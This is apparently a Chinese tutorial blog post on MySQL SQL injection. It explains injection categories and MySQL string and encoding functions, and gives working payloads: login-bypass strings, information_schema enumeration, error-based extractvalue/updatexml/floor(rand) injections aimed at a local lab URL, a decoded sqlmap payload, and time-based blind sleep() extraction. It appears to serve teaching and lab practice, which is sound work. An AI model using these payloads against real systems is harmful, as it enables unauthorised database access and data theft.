mysql注入报错函数_MySQL注入常用函数

注入的分类

仁者见仁,智者见智。

基于从服务器接收到的响应

▲基于错误的 SQL 注入

▲联合查询的类型

▲堆查询注射

▲SQL 盲注

•基于布尔 SQL 盲注

•基于时间的 SQL 盲注

•基于报错的 SQL 盲注

基于如何处理输入的 SQL 查询(数据类型)

•基于字符串

•数字或整数为基础的

基于程度和顺序的注入(哪里发生了影响)

★一阶注射 指输入的注射语句对 WEB 直接产生了影响,出现了结果

★二阶注射 类似存 储型 XSS,是指输入提交的语句,无法直接对 WEB 应用程序产生影响,通过其它的辅助间接的对 WEB 产生危害。

基于注入点的位置上的

▲通过用户输入的表单域的注射。

▲通过 cookie 注射。

▲通过服务器变量注射(基于头部信息的注射)

简单例子 常用来发现注入的语句

--+可以用#替换,url 提交过程中 Url 编码后的#为%23

or 1=1--+

'or 1=1--+

"or 1=1--+

)or 1=1--+

')or 1=1--+

") or 1=1--+

"))or 1=1--+

一般的代码为:

$id=$_GET['id'];

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

闭合第一个引号

闭合第二个引号 或 注释掉 采用--+ 或者 # 即%23

union 操作符

UNION 操作符用于合并两个或多个 SELECT 语句的结果集。

注意,UNION 内部的 SELECT 语句必须拥有【相同数量】的列,列也必须拥有相似的数据类型。

同时,每条 SELECT 语句中的列的顺序必须相同。

SQL UNION 语法

SELECT column_name(s) FROM table_name1

UNION

SELECT column_name(s) FROM table_name2

注释:默认地,UNION 操作符选取不同的值。如果允许重复的值,请使用 UNION ALL

SQL UNION ALL 语法

SELECT column_name(s) FROM table_name1

UNION ALL

SELECT column_name(s) FROM table_name2

另外,UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名。

sql 中的逻辑运算

Select * from users where id=1 and 1=1;

这条语句为什么能够选择出 id=1 的内容,and 1=1 到底起作用了没有?

这里就要清楚 sql 语句执行顺序了。

同时这个问题我们在使用万能密码的时候会用到。

Select * from admin where username=’admin’ and password=’admin’

我们可以用 ’or 1=1# 作为密码输入,涉及到一个逻辑运算,当使用上述所谓的万能密码后,构成的 sql 语句为: Select * from admin where username=’admin’ and password=’’or 1=1#’

Explain:上面的这个语句执行后,我们在不知道密码的情况下就登录到了 admin 用户了。

原 因 是 在 where 子 句 后 , 我 们 可 以 看 到 三 个 条 件 语 句 username=’admin’ and password=’’or 1=1

三个条件用 and 和 or 进行连接。

在 sql 中 and 的运算优先 级大于 or 的元算优先级。

因此可以看到 第一个条件(用 a 表示)是真的,第二个条件(用 b 表示)是假的,a and b 第一个条件和第二个条件执行 and 后是假false

false 再与第三个条件 or 运算,因为第三个条件 1=1 是恒成立的,所以结果自然就为真了。

因此上述的语句就是恒真了。

①Select * from users where id=1 and 1=1;

②Select * from users where id=1 && 1=1;

③Select * from users where id=1 & 1=1;

上述三者有什么区别?

①和②是等价的,即 id=1 条件和 1=1 条件进行 与运算。

③【&的优先级大于=】 即 id=1 条件与 1 进行&位操作,id=1 被当作 true,与 1 进行 & 运算 得到 1, 再与1进行=操作,得到 1

【位运算】将十进制数转换为二进制,再进行与、或、非、异或等位运算。

必要时 可利用该方法进行注入:例如将某一字符转换为 ascii 码后, 可以分别与 十进制数1,2,4,8,16,32(他们的二进制都只有一个二进制位为1)等进行与运算,可以得到每一位的值,拼接起来就是 ascii 码值。再从 ascii 值反推回字符。(运用较少)

mysql注入 - 常用函数

系统函数:

version()

MySQL 版本

user()

数据库用户名

database()

数据库名

@@datadir

数据库路径

@@version_compile_os

操作系统版本

MySQL命令行模式 常用于自己管理数据库:

show databases;#所有数据库名

use security;#数据库名

show tables;#该数据库中 所有表名

desc emails;#该 表中所有 字段的属性 字段名等

MySQL注入常用:

猜数据库 select schema_name from information_schema.schemata

猜某库的数据表 select table_name from information_schema.tables where table_schema=’xxxxx’

猜某表的所有列 Select column_name from information_schema.columns where table_name=’xxxxx’

获取某列的内容 Select xx_column from xx_table

列出所有的数据库

select group_concat(schema_name) from information_schema.schemata

列出某个库当中所有的表

select group_concat(table_name) from information_schema.tables where table_schema='xxxxx'

系统数据库 information_schema:

Mysql 有一个系统数据库 information_schema,含有所有数据库的相关信息。

一般利用它可进行一次完整的注入。

use information_schema

show tables;

desc tables;

select table_name from information_schema.tables where table_schema="security";

mysql注入 - 基础 - 编码或变形 - hex()

十进制数字 -> 十六进制:

mysql> select(hex(15));

+-----------+

| (hex(15)) |

+-----------+

| F |

+-----------+

1 row in set (0.00 sec)

字符串 -> 十六进制:

mysql> select(hex('A'));

+------------+

| (hex('A')) |

+------------+

| 41 |

+------------+

1 row in set (0.00 sec)

mysql> select(hex('-'));

+------------+

| (hex('-')) |

+------------+

| 2D |

+------------+

1 row in set (0.00 sec)

0x开头的十六进制 -> 字符串:

mysql> select concat('hello',0x2D,'world');

+------------------------------+

| concat('hello',0x2D,'world') |

+------------------------------+

| hello-world |

+------------------------------+

1 row in set (0.00 sec)

mysql> select concat('hello',0x3D3D,'world');

+--------------------------------+

| concat('hello',0x3D3D,'world') |

+--------------------------------+

| hello==world |

+--------------------------------+

1 row in set (0.00 sec)

mysql注入 - 基础 - 编码或变形 - ascii()

ascii码 可见字符基本是32到127

# ascii函数

Returns the numeric value of the leftmost character of the string str.

Returns 0 if str is the empty string.

Returns NULL if str is NULL. ASCII() works for 8-bit characters.

# 字符串 -> ascii码

mysql> select ascii('a');

+------------+

| ascii('a') |

+------------+

| 97 |

+------------+

1 row in set (0.00 sec)

# ord函数 和 ascii唯一的区别:多字节的字符处理

mysql> SELECT ord('为');

+-----+

| 为 |

+-----+

| 为 |

+-----+

1 row in set (0.00 sec)

mysql> SELECT ASCII('为');

+--------------+

| ASCII('为') |

+--------------+

| 228 |

+--------------+

1 row in set (0.00 sec)

# ascii码 -> 字符串

mysql> select CHAR(49);

+----------+

| CHAR(49) |

+----------+

| 1 |

+----------+

1 row in set (0.00 sec)

mysql> SELECT CHAR(77,121,83,81,'76');

-> 'MySQL'

mysql> SELECT CHAR(77,77.3,'77.3');

-> 'MMM'

char的其他说明

CHAR() arguments larger than 255 are converted into multiple result bytes.

For example, CHAR(256) is equivalent to CHAR(1,0), and CHAR(256*256) is equivalent to CHAR(1,0,0):

mysql> SELECT HEX(CHAR(1,0)), HEX(CHAR(256));

+----------------+----------------+

| HEX(CHAR(1,0)) | HEX(CHAR(256)) |

+----------------+----------------+

| 0100 | 0100 |

+----------------+----------------+

mysql注入 - 基础 - 字符串 - LENGTH()函数

获得一个字符串的长度

mysql> select length('abcdefg');

+-------------------+

| length('abcdefg') |

+-------------------+

| 7 |

+-------------------+

1 row in set (0.00 sec)

mysql注入 - 基础 - 字符串 - substring()函数 和 mid()函数 等价

取子字符串

取出字符串str里的第pos位开始 长度len的字符

pos 如str第一个字符的位置为1,依次类推 pos可是负数 str最后一个字符的位置为-1,依次类推

2个参数的形式:

没有len参数表示 子字符串为 从pos位置开始到str的末尾 的字符串

SUBSTRING(str,pos)

SUBSTRING(str FROM pos)

3个参数的形式:

最后一个参数len 即返回的子字符串长度(字符数)

SUBSTRING(str,pos,len)

SUBSTRING(str FROM pos FOR len)

使用FROM的是标准SQL语法。

In this case, the beginning of the substring is pos characters from the end of the string, rather than the beginning.

A negative value may be used for pos in any of the forms of this function.

For all forms of SUBSTRING(), the position of the first character in the string from which the substring is to be extracted is reckoned as 1.

mysql> SELECT SUBSTRING('Quadratically',5);

-> 'ratically'

mysql> SELECT SUBSTRING('foobarbar' FROM 4);

-> 'barbar'

mysql> SELECT SUBSTRING('Quadratically',5,6);

-> 'ratica'

mysql> SELECT SUBSTRING('Sakila', -3);

-> 'ila'

mysql> SELECT SUBSTRING('Sakila', -5, 3);

-> 'aki'

mysql> SELECT SUBSTRING('Sakila' FROM -4 FOR 2);

-> 'ki'

mysql注入 - 基础 - 字符串 - ELT()函数

mysql> SELECT ELT(1, 'ej', 'Heja', 'hej', 'foo');

-> 'ej'

mysql> SELECT ELT(4, 'ej', 'Heja', 'hej', 'foo');

-> 'foo'

mysql> select 0x5c;

+------+

| 0x5c |

+------+

| \ |

+------+

1 row in set (0.00 sec)

mysql> select CONCAT(0x5c,0x7162626a71,1,0x7162767671);

+------------------------------------------+

| CONCAT(0x5c,0x7162626a71,1,0x7162767671) |

+------------------------------------------+

| \qbbjq1qbvvq |

+------------------------------------------+

1 row in set (0.00 sec)

mysql注入 - 基础 - 字符串连接

注入有回显,将多个数据 或 多行数据进行输出的时候,需要使用字符串连接函数

这3个函数能一次性查出所有信息:

concat(str1,str2,...)

没有分隔符 连接字符串

如有任何一个参数为NULL则结果为 NULL,可以有一个或多个参数

concat_ws(separator,str1,str2,...)

含有分隔符 连接字符串

group_concat(str1,str2,...)

连接一个组的所有字符串 以逗号分隔每一条数据 函数具体介绍 http://www.cnblogs.com/lcamry/p/5715634.html

mysql注入 - 基础 - 字符串连接 - concat()函数

mysql> SELECT id,name FROM sea_admin LIMIT 1;

+----+-------+

| id | name |

+----+-------+

| 1 | admin |

+----+-------+

1 row in set (0.00 sec)

使用union联合注入时,前后两个选择的列数必须相同

这里id,name是2个列,要1个列的怎么办?用concat()函数 连接字符串

(当然也可以分两次:先爆出id,再爆出name)

mysql> SELECT CONCAT(id, 0x2D, name) AS newnew FROM sea_admin LIMIT 1;

+-----------+

| newnew |

+-----------+

| 1-admin |

+-----------+

1 row in set (0.00 sec)

mysql注入 - 基础 - 字符串连接 - CONCAT_WS()函数

意思是 CONCAT With Separator

CONCAT_WS(separator,str1,str2,…)

第一个参数Separator是其它参数的分隔符

分隔符放在要连接的字符串之间。

使用示例:

#下划线 作为分隔符

mysql> SELECT CONCAT_WS('_',id,name) AS newnew FROM sea_admin LIMIT 1;

+---------+

| newnew |

+---------+

| 1_admin |

+---------+

1 row in set (0.00 sec)

# - 作为分隔符

mysql> SELECT CONCAT_WS(0x2d,1,2) AS newnew FROM sea_admin LIMIT 1;

+--------+

| newnew |

+--------+

| 1-2 |

+--------+

1 row in set (0.00 sec)

# 如果分隔符为 NULL,则结果全为 NULL

mysql> SELECT CONCAT_WS(NULL,1,2) AS newnew FROM sea_admin LIMIT 1;

+--------+

| newnew |

+--------+

| NULL |

+--------+

1 row in set (0.00 sec)

# 会忽略后面参数中的null 相当于sql语句中没写 null,

mysql> SELECT CONCAT_WS(0x2d,null,2,3) AS newnew FROM sea_admin LIMIT 1;

+--------+

| newnew |

+--------+

| 2-3 |

+--------+

1 row in set (0.00 sec)

mysql> SELECT CONCAT_WS(0x2d,1,null,3) AS newnew FROM sea_admin LIMIT 1;

+--------+

| newnew |

+--------+

| 1-3 |

+--------+

1 row in set (0.00 sec)

# 空字符串 和普通字符串一样被连接

mysql> SELECT CONCAT_WS(0x2d,1,'',3) AS newnew FROM sea_admin LIMIT 1;

+--------+

| newnew |

+--------+

| 1--3 |

+--------+

1 row in set (0.00 sec)

mysql注入 - 基础 - 字符串连接 - group_concat()函数

group_concat(str1,str2,...)

连接一个组的所有字符串 以逗号分隔每一条数据

mysql注入 - 报错注入 - rand()函数

常用函数

#floor()函数 取小于该数字的最大整数

mysql> select floor(5.1);

+------------+

| floor(5.1) |

+------------+

| 5 |

+------------+

1 row in set (0.00 sec)

mysql> select floor(2.9);

+------------+

| floor(2.9) |

+------------+

| 2 |

+------------+

1 row in set (0.00 sec)

#rand()函数 返回一个随机浮点数v,取值范围为0 < v=< 1.0

mysql> select rand();

+--------------------+

| rand() |

+--------------------+

| 0.7883178170661608 |

+--------------------+

1 row in set (0.00 sec)

#如 获得一个随机整数 范围为7<=x<=12

mysql> SELECT FLOOR(7 + (RAND() * 5));

+-------------------------+

| FLOOR(7 + (RAND() * 5)) |

+-------------------------+

| 7 |

+-------------------------+

1 row in set (0.00 sec)

# rand(0)是固定的? *2取整永远是同1个整数

mysql> select rand(0),floor(rand(0)*2);

+---------------------+------------------+

| rand(0) | floor(rand(0)*2) |

+---------------------+------------------+

| 0.15522042769493574 | 0 |

+---------------------+------------------+

1 row in set (0.00 sec)

#查看concat()连接函数

select concat(user(),floor(rand(0)*2)) 返回 root@localhost0

#构造报错语句

select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a

#拼接sql语句到后端

http://127.0.0.4/Less-1/index.php?id=1′ and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a) –+

mysql注入 - 报错注入 - extractvalue()函数

#函数原型

#EXTRACTVALUE (XML_document, XPath_string);

第一个参数:XML_document是String格式

第二个参数:XPath_string (Xpath格式的字符串)

#使用方式

mysql> select 0x7e;

+------+

| 0x7e |

+------+

| ~ |

+------+

1 row in set (0.00 sec)

#返回原值

mysql> select (extractvalue('1231231w去','/'));

+-----------------------------------+

| (extractvalue('1231231w去','/')) |

+-----------------------------------+

| 1231231w去 |

+-----------------------------------+

1 row in set (0.00 sec)

#故意使extractvalue报错!

#以16进制0x7e即~符号作为标志, 头~和尾~ 之间的字符即所需数据!

mysql> select (extractvalue(1,concat(0x7e,(select user()),0x7e)));

ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'

#构造报错语句

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))

#拼接sql语句到后端

http://127.0.0.4/Less-1/index.php?id=1′ and (extractvalue(1,concat(0x7e,(select user()),0x7e))) –+

### mysql注入 - 报错注入 - updatexml()函数

#函数原型,更新xml

#UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式

第二个参数:XPath_string

第三个参数:new_value

#与 extractvalue() 函数区别是 第三个参数替换了节点字符串,返回值是整个改变后的XML文档

#使用方式

select updatexml(“666“, “/html”,”888″) #返回888

#使用updatexml报错,以16进制0x7e,就是~符号,去掉头~和尾~获取中间值

select (updatexml(1,concat(0x7e,(select user()),0x7e),1))

#构造报错语句

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))

#拼接sql语句到后端

http://127.0.0.4/Less-1/index.php?id=1′ and (updatexml(1,concat(0x7e,(select user()),0x7e),1)) –+

常用函数 - xml解析函数extractvalue

mysql> SET @temp_xml = '

AODB

800495

20171226114530

FLOP

STND

4666481

Y20

';

mysql> select extractvalue(@temp_xml,'/MSG/FLOP/STND');

+------------------------------------------+

| extractvalue(@temp_xml,'/MSG/FLOP/STND') |

+------------------------------------------+

| Y20 |

+------------------------------------------+

1 row in set (0.00 sec)

select EXTRACTVALUE(7426,'\qbbjq1qbvvq');

sqlmap - 实例分析 - bool型注入

sqlmap报出注入:

Parameter: #1* ((custom) POST)

Type: error-based

Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)

Payload: param={"logtype":"icg_afs_log' AND EXTRACTVALUE(7426,CONCAT(0x5c,0x7162626a71,(SELECT (ELT(7426=7426,1))),0x7162767671)) AND 'LUBy'='LUBy","query_clauses":"","time_range":{"time_format":"relative","from":"-1d","to":"now"},"logs":{"maxline":"100","raw":true}}

原始payload

' AND EXTRACTVALUE(7426,CONCAT(0x5c,0x7162626a71,(SELECT (ELT(7426=7426,1))),0x7162767671)) AND 'LUBy'='LUBy

因为

mysql> select ELT(7426=7426,1);

+------------------+

| ELT(7426=7426,1) |

+------------------+

| 1 |

+------------------+

1 row in set (0.00 sec)

所以payload变为

' AND EXTRACTVALUE(7426,CONCAT(0x5c,0x7162626a71,1,0x7162767671)) AND 'LUBy'='LUBy

因为

mysql> select CONCAT(0x5c,0x7162626a71,1,0x7162767671);

+------------------------------------------+

| CONCAT(0x5c,0x7162626a71,1,0x7162767671) |

+------------------------------------------+

| \qbbjq1qbvvq |

+------------------------------------------+

1 row in set (0.00 sec)

所以payload变为

' AND EXTRACTVALUE(7426,'\qbbjq1qbvvq') AND 'LUBy'='LUBy

因为

mysql> select 0 = EXTRACTVALUE(7426,'\qbbjq1qbvvq');

+---------------------------------------+

| 0 = EXTRACTVALUE(7426,'\qbbjq1qbvvq') |

+---------------------------------------+

| 1 |

+---------------------------------------+

1 row in set (0.00 sec)

mysql> select 'LUBy'='LUBy';

+---------------+

| 'LUBy'='LUBy' |

+---------------+

| 1 |

+---------------+

1 row in set (0.00 sec)

所以payload变为

' AND 0 AND 1

因为

mysql> select (0 AND 1);

+-----------+

| (0 AND 1) |

+-----------+

| 0 |

+-----------+

1 row in set (0.00 sec)

所以payload变为

' AND 0

时间延迟盲注 实例

与 布尔类型盲注 相似

关键判断函数:sleep(6)

延时6秒

理论依据:

if是mysql自带的函数,条件如果是执行第二个参数,否执行第三个参数

if(condition,true,false)

if(条件,条件为真的话执行函数,条件为假的话执行函数)

sleep函数放在参数2的位置上 则条件为真就执行 参数2处的sleep(6)【据此判断准确】

sleep函数放在参数3的位置上 则条件为假就执行 参数3处的sleep(6)【不机智】

实例payload:

# 条件 1 恒为True

mysql> select if(1,sleep(2),0);

+------------------+

| if(1,sleep(2),0) |

+------------------+

| 0 |

+------------------+

1 row in set (2.00 sec)

#恒为真的语句

select now();

select sysdate();

mysql> select sysdate();

+---------------------+

| sysdate() |

+---------------------+

| 2018-02-10 15:49:05 |

+---------------------+

1 row in set (0.00 sec)

mysql> select sysdate()=now();

+-----------------+

| sysdate()=now() |

+-----------------+

| 1 |

+-----------------+

1 row in set (0.00 sec)

if(now()=sysdate(),sleep(2),0)

url编码:

if(now()=sysdate()%2csleep(2)%2c0)

payload 实例:

当ascii码正确时,产生延时,否则不延时

if(ascii(subtring(“hello”,1,1))=104,sleep(2),1) #取得hello的第一个字符h,转化为ascii码,与104对比,如果相等则执行sleep(2),否则执行1,在sqlmap中,如果标签缀被跑出了,下次的时候sqlmap会优先判断表前缀,从而提高了注入速度。

如果自己写脚本的话,通过ascii码把a-zA-Z0-9都遍历一遍,即可取出对应的结果了。 在sqlmap中把这个表达式拆分了噢、用16进制方式做的对比,预计是可以加快速度的,不过猜测会消耗主机资源。

if(ascii(“h”)=104,sleep(2),1)

##查表名,查字段,内容以此类推

if(ascii(substring((SELECT distinct concat(表名) FROM information_schema.tables where table_schema=database() LIMIT 0,1),1,1))=116,sleep(2),1);

#调试下面语句,说明如果 条件成立 则打开页面会出现延迟

select if(ord(mid(version(),1,1))>=53,sleep(5),0)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值